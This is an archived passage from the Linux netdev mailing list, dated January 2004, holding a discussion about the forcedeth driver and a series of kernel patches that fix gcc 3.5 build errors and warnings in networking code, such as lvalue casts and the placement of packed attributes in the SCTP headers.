-84,10 +84,7 @@ static struct ipt_target ipt_tos_reg = { static int __init init(void) { - if (ipt_register_target(&ipt_tos_reg)) - return -EINVAL; - - return 0; + return ipt_register_target(&ipt_tos_reg); } static void __exit fini(void) _ From vojtech@suse.cz Sun Jan 25 00:00:06 2004 Received: with ECARTIS (v1.0.0; list netdev); Sun, 25 Jan 2004 00:00:26 -0800 (PST) Received: from midnight.ucw.cz (twilight.ucw.cz [81.30.235.3]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0P7xt7J000839 for ; Sat, 24 Jan 2004 23:59:56 -0800 Received: by midnight.ucw.cz (Postfix, from userid 502) id 153BF74E66; Sat, 24 Jan 2004 23:46:35 +0100 (CET) Date: Sat, 24 Jan 2004 23:46:35 +0100 From: Vojtech Pavlik To: Carl-Daniel Hailfinger Cc: Jeff Garzik , Manfred Spraul , linux-kernel@vger.kernel.org, Netdev Subject: Re: [PATCH] [2.4] forcedeth network driver Message-ID: <20040124224635.GA3448@ucw.cz> References: <4012BF44.9@colorfullife.com> <4012D3C6.1050805@pobox.com> <20040124220545.GA3246@ucw.cz> <4012F2B7.3080800@gmx.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <4012F2B7.3080800@gmx.net> User-Agent: Mutt/1.4.1i X-archive-position: 2756 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: vojtech@suse.cz Precedence: bulk X-list: netdev On Sat, Jan 24, 2004 at 11:33:27PM +0100, Carl-Daniel Hailfinger wrote: > >>>Do you have specs that show that all nForce versions support unaligned > >>>buffers? skb_reserve is a performance feature, I don't want to add it > >>>yet. Testing that it works is on our TODO list. > >> > >>hmmmm, is nForce ever found on non-x86 boxes? I would think that > >>skb_reserve might be -required- for some platforms. > > > > > > AMD64 and PPC64 as far as I know. But you may consider the first one > > still a x86 box. > > Hmmm. I thought only GeForce graphics were available on PPC64 and nForce > mainboard chipsets (including the onboard nic) were not. Well, my memory may be tricking me (I'm not really sure about this), but I remember there was supposed to be a PPC64 northbridge with a HT link, made exactly for the purpose of connecting an nForce southrbridge to it. But it definitely is not in production yet. -- Vojtech Pavlik SuSE Labs, SuSE CR From akpm@osdl.org Sun Jan 25 03:08:09 2004 Received: with ECARTIS (v1.0.0; list netdev); Sun, 25 Jan 2004 03:08:24 -0800 (PST) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0PB897J009648 for ; Sun, 25 Jan 2004 03:08:09 -0800 Received: from localhost.localdomain (build.pdx.osdl.net [172.20.1.2]) by mail.osdl.org (8.11.6/8.11.6) with ESMTP id i0PB7wo25107; Sun, 25 Jan 2004 03:07:58 -0800 Date: Sun, 25 Jan 2004 03:07:58 -0800 Message-Id: <200401251107.i0PB7wo25107@mail.osdl.org> Subject: [patch 13/18] gcc-3.5: netrom To: davem@redhat.com Cc: netdev@oss.sgi.com From: akpm@osdl.org X-archive-position: 2770 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: akpm@osdl.org Precedence: bulk X-list: netdev net/netrom/af_netrom.c: In function `nr_alloc_sock': net/netrom/af_netrom.c:75: error: invalid lvalue in assignment --- 25-akpm/net/netrom/af_netrom.c | 2 +- 1 files changed, 1 insertion(+), 1 deletion(-) diff -puN net/netrom/af_netrom.c~gcc-35-netrom net/netrom/af_netrom.c --- 25/net/netrom/af_netrom.c~gcc-35-netrom Fri Jan 23 16:50:31 2004 +++ 25-akpm/net/netrom/af_netrom.c Fri Jan 23 16:50:47 2004 @@ -72,7 +72,7 @@ static struct sock *nr_alloc_sock(void) if (!sk) goto out; - nr = nr_sk(sk) = kmalloc(sizeof(*nr), GFP_ATOMIC); + nr = sk->sk_protinfo = kmalloc(sizeof(*nr), GFP_ATOMIC); if (!nr) goto frees; _ From akpm@osdl.org Sun Jan 25 03:08:28 2004 Received: with ECARTIS (v1.0.0; list netdev); Sun, 25 Jan 2004 03:08:43 -0800 (PST) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0PB8Q7J010011 for ; Sun, 25 Jan 2004 03:08:26 -0800 Received: from localhost.localdomain (build.pdx.osdl.net [172.20.1.2]) by mail.osdl.org (8.11.6/8.11.6) with ESMTP id i0PB8Fo25134; Sun, 25 Jan 2004 03:08:15 -0800 Date: Sun, 25 Jan 2004 03:08:15 -0800 Message-Id: <200401251108.i0PB8Fo25134@mail.osdl.org> Subject: [patch 16/18] gcc-3.5: sctp To: davem@redhat.com Cc: netdev@oss.sgi.com From: akpm@osdl.org X-archive-position: 2773 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: akpm@osdl.org Precedence: bulk X-list: netdev In file included from include/net/sctp/structs.h:65, from include/net/sctp/sctp.h:91, from net/sctp/sm_statetable.c:49: include/linux/sctp.h:64: warning: `packed' attribute ignored include/linux/sctp.h:71: warning: `packed' attribute ignored include/linux/sctp.h:155: warning: `packed' attribute ignored include/linux/sctp.h:205: warning: `packed' attribute ignored include/linux/sctp.h:210: warning: `packed' attribute ignored include/linux/sctp.h:235: warning: `packed' attribute ignored include/linux/sctp.h:240: warning: `packed' attribute ignored include/linux/sctp.h:247: warning: `packed' attribute ignored include/linux/sctp.h:253: warning: `packed' attribute ignored include/linux/sctp.h:259: warning: `packed' attribute ignored include/linux/sctp.h:265: warning: `packed' attribute ignored include/linux/sctp.h:271: warning: `packed' attribute ignored include/linux/sctp.h:276: warning: `packed' attribute ignored include/linux/sctp.h:290: warning: `packed' attribute ignored include/linux/sctp.h:296: warning: `packed' attribute ignored include/linux/sctp.h:311: warning: `packed' attribute ignored include/linux/sctp.h:326: warning: `packed' attribute ignored include/linux/sctp.h:331: warning: `packed' attribute ignored include/linux/sctp.h:343: warning: `packed' attribute ignored include/linux/sctp.h:348: warning: `packed' attribute ignored include/linux/sctp.h:357: warning: `packed' attribute ignored include/linux/sctp.h:365: warning: `packed' attribute ignored include/linux/sctp.h:380: warning: `packed' attribute ignored include/linux/sctp.h:385: warning: `packed' attribute ignored include/linux/sctp.h:463: warning: `packed' attribute ignored include/linux/sctp.h:475: warning: `packed' attribute ignored include/linux/sctp.h:516: warning: `packed' attribute ignored include/linux/sctp.h:521: warning: `packed' attribute ignored include/linux/sctp.h:526: warning: `packed' attribute ignored In file included from include/net/sctp/sctp.h:91, from net/sctp/sm_statetable.c:49: include/net/sctp/structs.h:372: warning: `packed' attribute ignored --- include/linux/sctp.h | 62 +++++++++++++++++++++------------------------ include/net/sctp/structs.h | 2 - 2 files changed, 31 insertions(+), 33 deletions(-) diff -puN include/linux/sctp.h~gcc-35-sctp-attribute_packed-fix include/linux/sctp.h --- 25/include/linux/sctp.h~gcc-35-sctp-attribute_packed-fix 2004-01-24 00:11:36.000000000 -0800 +++ 25-akpm/include/linux/sctp.h 2004-01-24 00:11:36.000000000 -0800 @@ -61,14 +61,14 @@ typedef struct sctphdr { __u16 dest; __u32 vtag; __u32 checksum; -} sctp_sctphdr_t __attribute__((packed)); +} __attribute__((packed)) sctp_sctphdr_t; /* Section 3.2. Chunk Field Descriptions. */ typedef struct sctp_chunkhdr { __u8 type; __u8 flags; __u16 length; -} sctp_chunkhdr_t __attribute__((packed)); +} __attribute__((packed)) sctp_chunkhdr_t; /* Section 3.2. Chunk Type Values. @@ -152,7 +152,7 @@ enum { SCTP_CHUNK_FLAG_T = 0x01 }; typedef struct sctp_paramhdr { __u16 type; __u16 length; -} sctp_paramhdr_t __attribute((packed)); +} __attribute__((packed)) sctp_paramhdr_t; typedef enum { @@ -202,12 +202,12 @@ typedef struct sctp_datahdr { __u16 ssn; __u32 ppid; __u8 payload[0]; -} sctp_datahdr_t __attribute__((packed)); +} __attribute__((packed)) sctp_datahdr_t; typedef struct sctp_data_chunk { sctp_chunkhdr_t chunk_hdr; sctp_datahdr_t data_hdr; -} sctp_data_chunk_t __attribute__((packed)); +} __attribute__((packed)) sctp_data_chunk_t; /* DATA Chuck Specific Flags */ enum { @@ -232,48 +232,48 @@ typedef struct sctp_inithdr { __u16 num_inbound_streams; __u32 initial_tsn; __u8 params[0]; -} sctp_inithdr_t __attribute__((packed)); +} __attribute__((packed)) sctp_inithdr_t; typedef struct sctp_init_chunk { sctp_chunkhdr_t chunk_hdr; sctp_inithdr_t init_hdr; -} sctp_init_chunk_t __attribute__((packed)); +} __attribute__((packed)) sctp_init_chunk_t; /* Section 3.3.2.1. IPv4 Address Parameter (5) */ typedef struct sctp_ipv4addr_param { sctp_paramhdr_t param_hdr; struct in_addr addr; -} sctp_ipv4addr_param_t __attribute__((packed)); +} __attribute__((packed)) sctp_ipv4addr_param_t; /* Section 3.3.2.1. IPv6 Address Parameter (6) */ typedef struct sctp_ipv6addr_param { sctp_paramhdr_t param_hdr; struct in6_addr addr; -} sctp_ipv6addr_param_t __attribute__((packed)); +} __attribute__((packed)) sctp_ipv6addr_param_t; /* Section 3.3.2.1 Cookie Preservative (9) */ typedef struct sctp_cookie_preserve_param { sctp_paramhdr_t param_hdr; uint32_t lifespan_increment; -} sctp_cookie_preserve_param_t __attribute__((packed)); +} __attribute__((packed)) sctp_cookie_preserve_param_t; /* Section 3.3.2.1 Host Name Address (11) */ typedef struct sctp_hostname_param { sctp_paramhdr_t param_hdr; uint8_t hostname[0]; -} sctp_hostname_param_t __attribute__((packed)); +} __attribute__((packed)) sctp_hostname_param_t; /* Section 3.3.2.1 Supported Address Types (12) */ typedef struct sctp_supported_addrs_param { sctp_paramhdr_t param_hdr; uint16_t types[0]; -} sctp_supported_addrs_param_t __attribute__((packed)); +} __attribute__((packed)) sctp_supported_addrs_param_t; /* Appendix A. ECN Capable (32768) */ typedef struct sctp_ecn_capable_param { sctp_paramhdr_t param_hdr; -} sctp_ecn_capable_param_t __attribute__((packed)); +} __attribute__((packed)) sctp_ecn_capable_param_t; @@ -287,13 +287,13 @@ typedef sctp_init_chunk_t sctp_initack_c typedef struct sctp_cookie_param { sctp_paramhdr_t p; __u8 body[0]; -} sctp_cookie_param_t __attribute__((packed)); +} __attribute__((packed)) sctp_cookie_param_t; /* Section 3.3.3.1 Unrecognized Parameters (8) */ typedef struct sctp_unrecognized_param { sctp_paramhdr_t param_hdr; sctp_paramhdr_t unrecognized; -} sctp_unrecognized_param_t __attribute__((packed)); +} __attribute__((packed)) sctp_unrecognized_param_t; @@ -308,7 +308,7 @@ typedef struct sctp_unrecognized_param { typedef struct sctp_gap_ack_block { __u16 start; __u16 end; -} sctp_gap_ack_block_t __attribute__((packed)); +} __attribute__((packed)) sctp_gap_ack_block_t; typedef uint32_t sctp_dup_tsn_t; @@ -323,12 +323,12 @@ typedef struct sctp_sackhdr { __u16 num_gap_ack_blocks; __u16 num_dup_tsns; sctp_sack_variable_t variable[0]; -} sctp_sackhdr_t __attribute__((packed)); +} __attribute__((packed)) sctp_sackhdr_t; typedef struct sctp_sack_chunk { sctp_chunkhdr_t chunk_hdr; sctp_sackhdr_t sack_hdr; -} sctp_sack_chunk_t __attribute__((packed)); +} __attribute__((packed)) sctp_sack_chunk_t; /* RFC 2960. Section 3.3.5 Heartbeat Request (HEARTBEAT) (4): @@ -340,12 +340,12 @@ typedef struct sctp_sack_chunk { typedef struct sctp_heartbeathdr { sctp_paramhdr_t info; -} sctp_heartbeathdr_t __attribute__((packed)); +} __attribute__((packed)) sctp_heartbeathdr_t; typedef struct sctp_heartbeat_chunk { sctp_chunkhdr_t chunk_hdr; sctp_heartbeathdr_t hb_hdr; -} sctp_heartbeat_chunk_t __attribute__((packed)); +} __attribute__((packed)) sctp_heartbeat_chunk_t; /* For the abort and shutdown ACK we must carry the init tag in the @@ -354,7 +354,7 @@ typedef struct sctp_heartbeat_chunk { */ typedef struct sctp_abort_chunk { sctp_chunkhdr_t uh; -} sctp_abort_chunkt_t __attribute__((packed)); +} __attribute__((packed)) sctp_abort_chunkt_t; /* For the graceful shutdown we must carry the tag (in common header) @@ -362,14 +362,12 @@ typedef struct sctp_abort_chunk { */ typedef struct sctp_shutdownhdr { __u32 cum_tsn_ack; -} sctp_shutdownhdr_t __attribute__((packed)); +} __attribute__((packed)) sctp_shutdownhdr_t; struct sctp_shutdown_chunk_t { sctp_chunkhdr_t chunk_hdr; sctp_shutdownhdr_t shutdown_hdr; -} __attribute__((packed)); - - +} __attribute__ ((packed)); /* RFC 2960. Section 3.3.10 Operation Error (ERROR) (9) */ @@ -377,12 +375,12 @@ typedef struct sctp_errhdr { __u16 cause; __u16 length; __u8 variable[0]; -} sctp_errhdr_t __attribute__((packed)); +} __attribute__((packed)) sctp_errhdr_t; typedef struct sctp_operr_chunk { sctp_chunkhdr_t chunk_hdr; sctp_errhdr_t err_hdr; -} sctp_operr_chunk_t __attribute__((packed)); +} __attribute__((packed)) sctp_operr_chunk_t; /* RFC 2960 3.3.10 - Operation Error * @@ -460,7 +458,7 @@ typedef struct sctp_ecnehdr { typedef struct sctp_ecne_chunk { sctp_chunkhdr_t chunk_hdr; sctp_ecnehdr_t ence_hdr; -} sctp_ecne_chunk_t __attribute__((packed)); +} __attribute__((packed)) sctp_ecne_chunk_t; /* RFC 2960. Appendix A. Explicit Congestion Notification. * Congestion Window Reduced (CWR) (13) @@ -472,7 +470,7 @@ typedef struct sctp_cwrhdr { typedef struct sctp_cwr_chunk { sctp_chunkhdr_t chunk_hdr; sctp_cwrhdr_t cwr_hdr; -} sctp_cwr_chunk_t __attribute__((packed)); +} __attribute__((packed)) sctp_cwr_chunk_t; /* * ADDIP Section 3.1 New Chunk Types @@ -513,16 +511,16 @@ typedef struct sctp_cwr_chunk { typedef struct sctp_addip_param { sctp_paramhdr_t param_hdr; __u32 crr_id; -}sctp_addip_param_t __attribute__((packed)); +} __attribute__((packed)) sctp_addip_param_t; typedef struct sctp_addiphdr { __u32 serial; __u8 params[0]; -} sctp_addiphdr_t __attribute__((packed)); +} __attribute__((packed)) sctp_addiphdr_t; typedef struct sctp_addip_chunk { sctp_chunkhdr_t chunk_hdr; sctp_addiphdr_t addip_hdr; -} sctp_addip_chunk_t __attribute__((packed)); +} __attribute__((packed)) sctp_addip_chunk_t; #endif /* __LINUX_SCTP_H__ */ diff -puN include/net/sctp/structs.h~gcc-35-sctp-attribute_packed-fix include/net/sctp/structs.h --- 25/include/net/sctp/structs.h~gcc-35-sctp-attribute_packed-fix 2004-01-24 00:11:36.000000000 -0800 +++ 25-akpm/include/net/sctp/structs.h 2004-01-24 00:11:36.000000000 -0800 @@ -369,7 +369,7 @@ typedef struct sctp_sender_hb_info { struct sctp_paramhdr param_hdr; union sctp_addr daddr; unsigned long sent_at; -} sctp_sender_hb_info_t __attribute__((packed)); +} __attribute__((packed)) sctp_sender_hb_info_t; /* * RFC 2960 1.3.2 Sequenced Delivery within Streams _ From akpm@osdl.org Sun Jan 25 03:07:04 2004 Received: with ECARTIS (v1.0.0; list netdev); Sun, 25 Jan 2004 03:07:17 -0800 (PST) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0PB747J009099 for ; Sun, 25 Jan 2004 03:07:04 -0800 Received: from localhost.localdomain (build.pdx.osdl.net [172.20.1.2]) by mail.osdl.org (8.11.6/8.11.6) with ESMTP id i0PB6ro25015; Sun, 25 Jan 2004 03:06:53 -0800 Date: Sun, 25 Jan 2004 03:06:53 -0800 Message-Id: <200401251106.i0PB6ro25015@mail.osdl.org> Subject: [patch 2/18] gcc-3.5: net/atm/common.c To: davem@redhat.com Cc: netdev@oss.sgi.com From: akpm@osdl.org X-archive-position: 2759 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: akpm@osdl.org Precedence: bulk X-list: netdev net/atm/common.c: In function `vcc_create': net/atm/common.c:151: error: invalid lvalue in assignment --- 25-akpm/net/atm/common.c | 2 +- 1 files changed, 1 insertion(+), 1 deletion(-) diff -puN net/atm/common.c~gcc-35-atm-common net/atm/common.c --- 25/net/atm/common.c~gcc-35-atm-common Fri Jan 23 15:15:46 2004 +++ 25-akpm/net/atm/common.c Fri Jan 23 15:16:03 2004 @@ -148,7 +148,7 @@ int vcc_create(struct socket *sock, int sk->sk_state_change = vcc_def_wakeup; sk->sk_write_space = vcc_write_space; - vcc = atm_sk(sk) = kmalloc(sizeof(*vcc), GFP_KERNEL); + vcc = sk->sk_protinfo = kmalloc(sizeof(*vcc), GFP_KERNEL); if (!vcc) { sk_free(sk); return -ENOMEM; _ From akpm@osdl.org Sun Jan 25 03:08:15 2004 Received: with ECARTIS (v1.0.0; list netdev); Sun, 25 Jan 2004 03:08:30 -0800 (PST) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0PB8E7J009761 for ; Sun, 25 Jan 2004 03:08:14 -0800 Received: from localhost.localdomain (build.pdx.osdl.net [172.20.1.2]) by mail.osdl.org (8.11.6/8.11.6) with ESMTP id i0PB83o25125; Sun, 25 Jan 2004 03:08:03 -0800 Date: Sun, 25 Jan 2004 03:08:03 -0800 Message-Id: <200401251108.i0PB83o25125@mail.osdl.org> Subject: [patch 14/18] gcc-3.5: pppoe To: davem@redhat.com Cc: netdev@oss.sgi.com From: akpm@osdl.org X-archive-position: 2771 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: akpm@osdl.org Precedence: bulk X-list: netdev drivers/net/pppoe.c: In function `pppoe_create': drivers/net/pppoe.c:519: error: invalid lvalue in assignment --- drivers/net/pppoe.c | 2 +- 1 files changed, 1 insertion(+), 1 deletion(-) diff -puN drivers/net/pppoe.c~gcc-35-pppoe drivers/net/pppoe.c --- 25/drivers/net/pppoe.c~gcc-35-pppoe 2004-01-25 03:01:42.000000000 -0800 +++ 25-akpm/drivers/net/pppoe.c 2004-01-25 03:01:42.000000000 -0800 @@ -517,7 +517,7 @@ static int pppoe_create(struct socket *s sk->sk_protocol = PX_PROTO_OE; sk->sk_destruct = pppoe_sk_free; - po = pppox_sk(sk) = kmalloc(sizeof(*po), GFP_KERNEL); + po = sk->sk_protinfo = kmalloc(sizeof(*po), GFP_KERNEL); if (!po) goto frees; memset(po, 0, sizeof(*po)); _ From akpm@osdl.org Sun Jan 25 03:07:52 2004 Received: with ECARTIS (v1.0.0; list netdev); Sun, 25 Jan 2004 03:08:05 -0800 (PST) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0PB7p7J009365 for ; Sun, 25 Jan 2004 03:07:51 -0800 Received: from localhost.localdomain (build.pdx.osdl.net [172.20.1.2]) by mail.osdl.org (8.11.6/8.11.6) with ESMTP id i0PB7eo25091; Sun, 25 Jan 2004 03:07:40 -0800 Date: Sun, 25 Jan 2004 03:07:40 -0800 Message-Id: <200401251107.i0PB7eo25091@mail.osdl.org> Subject: [patch 10/18] gcc-35: drivers/net/wan/lmc To: davem@redhat.com Cc: netdev@oss.sgi.com From: akpm@osdl.org X-archive-position: 2767 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: akpm@osdl.org Precedence: bulk X-list: netdev drivers/net/wan/lmc/lmc_media.c:1061: sorry, unimplemented: called from here drivers/net/wan/lmc/lmc_debug.h:50: sorry, unimplemented: inlining failed in call to 'lmc_trace': function body not available --- drivers/net/wan/lmc/lmc_debug.h | 2 +- 1 files changed, 1 insertion(+), 1 deletion(-) diff -puN drivers/net/wan/lmc/lmc_debug.h~gcc-35-lmc drivers/net/wan/lmc/lmc_debug.h --- 25/drivers/net/wan/lmc/lmc_debug.h~gcc-35-lmc 2004-01-23 21:40:34.000000000 -0800 +++ 25-akpm/drivers/net/wan/lmc/lmc_debug.h 2004-01-23 21:40:40.000000000 -0800 @@ -47,6 +47,6 @@ extern u_int32_t lmcEventLogBuf[LMC_EVEN void lmcConsoleLog(char *type, unsigned char *ucData, int iLen); void lmcEventLog (u_int32_t EventNum, u_int32_t arg2, u_int32_t arg3); -inline void lmc_trace(struct net_device *dev, char *msg); +void lmc_trace(struct net_device *dev, char *msg); #endif _ From akpm@osdl.org Sun Jan 25 03:07:22 2004 Received: with ECARTIS (v1.0.0; list netdev); Sun, 25 Jan 2004 03:07:35 -0800 (PST) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0PB7L7J009140 for ; Sun, 25 Jan 2004 03:07:22 -0800 Received: from localhost.localdomain (build.pdx.osdl.net [172.20.1.2]) by mail.osdl.org (8.11.6/8.11.6) with ESMTP id i0PB7Bo25065; Sun, 25 Jan 2004 03:07:11 -0800 Date: Sun, 25 Jan 2004 03:07:11 -0800 Message-Id: <200401251107.i0PB7Bo25065@mail.osdl.org> Subject: [patch 5/18] gcc-3.5: econet To: davem@redhat.com Cc: netdev@oss.sgi.com From: akpm@osdl.org X-archive-position: 2762 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: akpm@osdl.org Precedence: bulk X-list: netdev net/econet/af_econet.c: In function `econet_create': net/econet/af_econet.c:571: error: invalid lvalue in assignment --- 25-akpm/net/econet/af_econet.c | 2 +- 1 files changed, 1 insertion(+), 1 deletion(-) diff -puN net/econet/af_econet.c~gcc-35-econet net/econet/af_econet.c --- 25/net/econet/af_econet.c~gcc-35-econet Fri Jan 23 15:30:25 2004 +++ 25-akpm/net/econet/af_econet.c Fri Jan 23 15:30:40 2004 @@ -568,7 +568,7 @@ static int econet_create(struct socket * sock_init_data(sock,sk); sk_set_owner(sk, THIS_MODULE); - eo = ec_sk(sk) = kmalloc(sizeof(*eo), GFP_KERNEL); + eo = sk->sk_protinfo = kmalloc(sizeof(*eo), GFP_KERNEL); if (!eo) goto out_free; memset(eo, 0, sizeof(*eo)); _ From akpm@osdl.org Sun Jan 25 03:08:21 2004 Received: with ECARTIS (v1.0.0; list netdev); Sun, 25 Jan 2004 03:08:35 -0800 (PST) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0PB8K7J009885 for ; Sun, 25 Jan 2004 03:08:20 -0800 Received: from localhost.localdomain (build.pdx.osdl.net [172.20.1.2]) by mail.osdl.org (8.11.6/8.11.6) with ESMTP id i0PB89o25130; Sun, 25 Jan 2004 03:08:09 -0800 Date: Sun, 25 Jan 2004 03:08:09 -0800 Message-Id: <200401251108.i0PB89o25130@mail.osdl.org> Subject: [patch 15/18] gcc-3.5: net/rose To: davem@redhat.com Cc: netdev@oss.sgi.com From: akpm@osdl.org X-archive-position: 2772 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: akpm@osdl.org Precedence: bulk X-list: netdev net/rose/af_rose.c: In function `rose_alloc_sock': net/rose/af_rose.c:136: error: invalid lvalue in assignment --- net/rose/af_rose.c | 2 +- 1 files changed, 1 insertion(+), 1 deletion(-) diff -puN net/rose/af_rose.c~gcc-35-rose net/rose/af_rose.c --- 25/net/rose/af_rose.c~gcc-35-rose 2004-01-23 21:38:29.000000000 -0800 +++ 25-akpm/net/rose/af_rose.c 2004-01-23 21:38:52.000000000 -0800 @@ -133,7 +133,7 @@ static struct sock *rose_alloc_sock(void if (!sk) goto out; - rose = rose_sk(sk) = kmalloc(sizeof(*rose), GFP_ATOMIC); + rose = sk->sk_protinfo = kmalloc(sizeof(*rose), GFP_ATOMIC); if (!rose) goto frees; _ From akpm@osdl.org Sun Jan 25 03:07:33 2004 Received: with ECARTIS (v1.0.0; list netdev); Sun, 25 Jan 2004 03:07:46 -0800 (PST) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0PB7X7J009220 for ; Sun, 25 Jan 2004 03:07:33 -0800 Received: from localhost.localdomain (build.pdx.osdl.net [172.20.1.2]) by mail.osdl.org (8.11.6/8.11.6) with ESMTP id i0PB7Mo25077; Sun, 25 Jan 2004 03:07:22 -0800 Date: Sun, 25 Jan 2004 03:07:22 -0800 Message-Id: <200401251107.i0PB7Mo25077@mail.osdl.org> Subject: [patch 7/18] gcc-3.5: ipx To: davem@redhat.com Cc: netdev@oss.sgi.com From: akpm@osdl.org X-archive-position: 2764 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: akpm@osdl.org Precedence: bulk X-list: netdev net/ipx/af_ipx.c: In function `ipx_create': net/ipx/af_ipx.c:1354: error: invalid lvalue in assignment --- 25-akpm/net/ipx/af_ipx.c | 2 +- 1 files changed, 1 insertion(+), 1 deletion(-) diff -puN net/ipx/af_ipx.c~gcc-35-ipx net/ipx/af_ipx.c --- 25/net/ipx/af_ipx.c~gcc-35-ipx Fri Jan 23 15:40:35 2004 +++ 25-akpm/net/ipx/af_ipx.c Fri Jan 23 15:40:53 2004 @@ -1351,7 +1351,7 @@ static int ipx_create(struct socket *soc rc = -ENOMEM; if (!sk) goto out; - ipx = ipx_sk(sk) = kmalloc(sizeof(*ipx), GFP_KERNEL); + ipx = sk->sk_protinfo = kmalloc(sizeof(*ipx), GFP_KERNEL); if (!ipx) goto outsk; memset(ipx, 0, sizeof(*ipx)); _ From akpm@osdl.org Sun Jan 25 03:07:10 2004 Received: with ECARTIS (v1.0.0; list netdev); Sun, 25 Jan 2004 03:07:23 -0800 (PST) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0PB7A7J009112 for ; Sun, 25 Jan 2004 03:07:10 -0800 Received: from localhost.localdomain (build.pdx.osdl.net [172.20.1.2]) by mail.osdl.org (8.11.6/8.11.6) with ESMTP id i0PB6xo25047; Sun, 25 Jan 2004 03:06:59 -0800 Date: Sun, 25 Jan 2004 03:06:59 -0800 Message-Id: <200401251106.i0PB6xo25047@mail.osdl.org> Subject: [patch 3/18] gcc-3.5: ax25 To: davem@redhat.com Cc: netdev@oss.sgi.com From: akpm@osdl.org X-archive-position: 2760 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: akpm@osdl.org Precedence: bulk X-list: netdev net/ax25/af_ax25.c: In function `ax25_create': net/ax25/af_ax25.c:819: error: invalid lvalue in assignment net/ax25/af_ax25.c: In function `ax25_make_new': net/ax25/af_ax25.c:904: error: invalid lvalue in assignment net/x25/af_x25.c: In function `x25_alloc_socket': net/x25/af_x25.c:441: error: invalid lvalue in assignment (Why is x25_alloc_socket() using GFP_ATOMIC?) --- net/ax25/af_ax25.c | 4 ++-- net/x25/af_x25.c | 2 +- 2 files changed, 3 insertions(+), 3 deletions(-) diff -puN net/ax25/af_ax25.c~gcc-35-ax25 net/ax25/af_ax25.c --- 25/net/ax25/af_ax25.c~gcc-35-ax25 2004-01-23 21:38:22.000000000 -0800 +++ 25-akpm/net/ax25/af_ax25.c 2004-01-23 21:38:22.000000000 -0800 @@ -816,7 +816,7 @@ int ax25_create(struct socket *sock, int if ((sk = sk_alloc(PF_AX25, GFP_ATOMIC, 1, NULL)) == NULL) return -ENOMEM; - ax25 = ax25_sk(sk) = ax25_create_cb(); + ax25 = sk->sk_protinfo = ax25_create_cb(); if (!ax25) { sk_free(sk); return -ENOMEM; @@ -901,7 +901,7 @@ struct sock *ax25_make_new(struct sock * memcpy(ax25->digipeat, oax25->digipeat, sizeof(ax25_digi)); } - ax25_sk(sk) = ax25; + sk->sk_protinfo = ax25; ax25->sk = sk; return sk; diff -puN net/x25/af_x25.c~gcc-35-ax25 net/x25/af_x25.c --- 25/net/x25/af_x25.c~gcc-35-ax25 2004-01-23 22:48:41.000000000 -0800 +++ 25-akpm/net/x25/af_x25.c 2004-01-23 22:49:05.000000000 -0800 @@ -438,7 +438,7 @@ static struct sock *x25_alloc_socket(voi if (!sk) goto out; - x25 = x25_sk(sk) = kmalloc(sizeof(*x25), GFP_ATOMIC); + x25 = sk->sk_protinfo = kmalloc(sizeof(*x25), GFP_ATOMIC); if (!x25) goto frees; _ From akpm@osdl.org Sun Jan 25 03:08:43 2004 Received: with ECARTIS (v1.0.0; list netdev); Sun, 25 Jan 2004 03:08:57 -0800 (PST) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0PB8b7J010193 for ; Sun, 25 Jan 2004 03:08:38 -0800 Received: from localhost.localdomain (build.pdx.osdl.net [172.20.1.2]) by mail.osdl.org (8.11.6/8.11.6) with ESMTP id i0PB8Qo25199; Sun, 25 Jan 2004 03:08:26 -0800 Date: Sun, 25 Jan 2004 03:08:26 -0800 Message-Id: <200401251108.i0PB8Qo25199@mail.osdl.org> Subject: [patch 18/18] gcc-3.5: tg3.c warnings To: davem@redhat.com Cc: netdev@oss.sgi.com From: akpm@osdl.org X-archive-position: 2775 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: akpm@osdl.org Precedence: bulk X-list: netdev drivers/net/tg3.c: In function `tg3_get_regs': drivers/net/tg3.c:5884: warning: use of cast expressions as lvalues is deprecated 